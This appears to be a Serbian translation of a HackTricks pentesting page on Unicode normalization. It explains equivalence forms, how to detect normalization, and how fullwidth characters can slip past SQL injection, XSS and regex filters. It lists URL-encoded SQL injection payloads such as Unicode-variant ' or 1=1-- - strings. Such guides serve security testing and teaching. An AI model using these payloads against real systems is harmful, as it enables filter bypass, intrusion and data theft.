9.8 KiB
Normalizacija Unikoda
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!
Drugi načini podrške HackTricks-u:
- Ako želite da vidite svoju kompaniju reklamiranu na HackTricks-u ili da preuzmete HackTricks u PDF formatu proverite PLANOVE ZA PRIJAVU!
- Nabavite zvanični PEASS & HackTricks swag
- Otkrijte Porodicu PEASS, našu kolekciju ekskluzivnih NFT-ova
- Pridružite se 💬 Discord grupi ili telegram grupi ili nas pratite na Twitteru 🐦 @carlospolopm.
- Podelite svoje hakovanje trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
WhiteIntel
WhiteIntel je pretraživač pokretan dark-web-om koji nudi besplatne funkcionalnosti za proveru da li je kompanija ili njeni korisnici kompromitovani od strane malvera za krađu podataka.
Primarni cilj WhiteIntela je borba protiv preuzimanja naloga i napada ransomware-a koji proizilaze iz malvera za krađu informacija.
Možete posetiti njihovu veb lokaciju i isprobati njihovu mašinu besplatno na:
{% embed url="https://whiteintel.io" %}
Ovo je sažetak: https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/. Pogledajte za dalje detalje (slike preuzete sa te lokacije).
Razumevanje Unikoda i Normalizacije
Normalizacija Unikoda je proces koji osigurava da različite binarne reprezentacije karaktera budu standardizovane na istu binarnu vrednost. Ovaj proces je ključan u radu sa stringovima u programiranju i obradi podataka. Unikod standard definiše dva tipa ekvivalencije karaktera:
- Kanonska Ekvivalencija: Karakteri se smatraju kanonski ekvivalentnim ako imaju isti izgled i značenje kada se štampaju ili prikazuju.
- Kompatibilna Ekvivalencija: Slabija forma ekvivalencije gde karakteri mogu predstavljati isti apstraktni karakter ali se mogu prikazivati na različite načine.
Postoje četiri algoritma normalizacije Unikoda: NFC, NFD, NFKC i NFKD. Svaki algoritam koristi kanonske i kompatibilne tehnike normalizacije na različite načine. Za dublje razumevanje, možete istražiti ove tehnike na Unicode.org.
Ključne Tačke o Kodiranju Unikoda
Razumevanje kodiranja Unikoda je ključno, posebno kada se bave pitanjima interoperabilnosti među različitim sistemima ili jezicima. Evo glavnih tačaka:
- Kodne Tačke i Karakteri: U Unikodu, svakom karakteru ili simbolu je dodeljena numerička vrednost poznata kao "kodna tačka".
- Reprezentacija Bajtova: Kodna tačka (ili karakter) je predstavljena jednim ili više bajtova u memoriji. Na primer, LATIN-1 karakteri (uobičajeni u engleskim govornim zemljama) se predstavljaju koristeći jedan bajt. Međutim, jezici sa većim skupom karaktera zahtevaju više bajtova za reprezentaciju.
- Kodiranje: Ovaj termin se odnosi na to kako se karakteri transformišu u niz bajtova. UTF-8 je rasprostranjeni standard kodiranja gde se ASCII karakteri predstavljaju koristeći jedan bajt, a do četiri bajta za ostale karaktere.
- Obrada Podataka: Sistemi koji obrađuju podatke moraju biti svesni korišćenog kodiranja kako bi ispravno konvertovali niz bajtova u karaktere.
- Varijante UTF: Pored UTF-8, postoje i drugi standardi kodiranja poput UTF-16 (koristi minimalno 2 bajta, do 4) i UTF-32 (koristi 4 bajta za sve karaktere).
Važno je razumeti ove koncepte kako bi se efikasno rukovalo i umanjile potencijalne probleme koji proizilaze iz kompleksnosti Unikoda i njegovih različitih metoda kodiranja.
Primer kako Unikod normalizuje dva različita bajta koji predstavljaju isti karakter:
unicodedata.normalize("NFKD","chloe\u0301") == unicodedata.normalize("NFKD", "chlo\u00e9")
Lista ekvivalentnih Unicode karaktera može se pronaći ovde: https://appcheck-ng.com/wp-content/uploads/unicode_normalization.html i https://0xacb.com/normalization_table
Otkrivanje
Ako pronađete vrednost unutar web aplikacije koja se vraća nazad, možete pokušati poslati 'KELVIN SIGN' (U+0212A) koji se normalizuje u "K" (možete ga poslati kao %e2%84%aa
). Ako se "K" vrati nazad, tada se vrši neka vrsta Unicode normalizacije.
Drugi primer: %F0%9D%95%83%E2%85%87%F0%9D%99%A4%F0%9D%93%83%E2%85%88%F0%9D%94%B0%F0%9D%94%A5%F0%9D%99%96%F0%9D%93%83
nakon unicode postaje Leonishan
.
Vulnerabilni Primeri
Bypass filtera za SQL Injection
Zamislite web stranicu koja koristi karakter '
za kreiranje SQL upita sa korisničkim unosom. Ova web stranica, kao sigurnosna mera, briše sve pojave karaktera '
iz korisničkog unosa, ali nakon te brisanja i pre kreiranja upita, normalizuje korisnički unos pomoću Unicode-a.
Zatim, zlonamerni korisnik može ubaciti drugačiji Unicode karakter ekvivalentan sa ' (0x27)
poput %ef%bc%87
, kada se unos normalizuje, kreiran je jednostruki navod i pojavljuje se SQLInjection ranjivost:
Neki zanimljivi Unicode karakteri
o
-- %e1%b4%bcr
-- %e1%b4%bf1
-- %c2%b9=
-- %e2%81%bc/
-- %ef%bc%8f-
-- %ef%b9%a3#
-- %ef%b9%9f*
-- %ef%b9%a1'
-- %ef%bc%87"
-- %ef%bc%82|
-- %ef%bd%9c
' or 1=1-- -
%ef%bc%87+%e1%b4%bc%e1%b4%bf+%c2%b9%e2%81%bc%c2%b9%ef%b9%a3%ef%b9%a3+%ef%b9%a3
" or 1=1-- -
%ef%bc%82+%e1%b4%bc%e1%b4%bf+%c2%b9%e2%81%bc%c2%b9%ef%b9%a3%ef%b9%a3+%ef%b9%a3
' || 1==1//
%ef%bc%87+%ef%bd%9c%ef%bd%9c+%c2%b9%e2%81%bc%e2%81%bc%c2%b9%ef%bc%8f%ef%bc%8f
" || 1==1//
%ef%bc%82+%ef%bd%9c%ef%bd%9c+%c2%b9%e2%81%bc%e2%81%bc%c2%b9%ef%bc%8f%ef%bc%8f
sqlmap šablon
{% embed url="https://github.com/carlospolop/sqlmap_to_unicode_template" %}
XSS (Cross Site Scripting)
Možete koristiti jedan od sledećih karaktera da prevarite web aplikaciju i iskoristite XSS:
Primetite da na primer prvi Unicode karakter može biti poslat kao: %e2%89%ae
ili kao %u226e
Fuzzing Regexes
Kada backend proverava korisnički unos sa regexom, moguće je da se unos normalizuje za regex ali ne i za mesto gde se koristi. Na primer, u slučaju otvorenog preusmeravanja ili SSRF-a, regex može normalizovati poslati URL ali se onda pristupa kao takav.
Alatka recollapse omogućava generisanje varijacija unosa za fuzzing backend-a. Za više informacija pogledajte github i ovaj post.
Reference
- https://labs.spotify.com/2013/06/18/creative-usernames/
- https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work
- https://jlajara.gitlab.io/posts/2020/02/19/Bypass_WAF_Unicode.html
WhiteIntel
WhiteIntel je pretraživač na dark vebu koji nudi besplatne funkcionalnosti za proveru da li su kompanija ili njeni korisnici ugroženi od malvera koji krade podatke.
Primarni cilj WhiteIntela je borba protiv preuzimanja naloga i napada ransomware-a koji proizilaze iz malvera koji krade informacije.
Možete posetiti njihovu veb lokaciju i isprobati njihovu mašinu za besplatno na:
{% embed url="https://whiteintel.io" %}
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!
Drugi načini podrške HackTricks-u:
- Ako želite da vidite svoju kompaniju reklamiranu na HackTricks-u ili da preuzmete HackTricks u PDF formatu proverite PLANOVE ZA PRIJAVU!
- Nabavite zvanični PEASS & HackTricks swag
- Otkrijte The PEASS Family, našu kolekciju ekskluzivnih NFT-ova
- Pridružite se 💬 Discord grupi ili telegram grupi ili nas pratite na Twitteru 🐦 @carlospolopm.
- Podelite svoje hakovanje trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.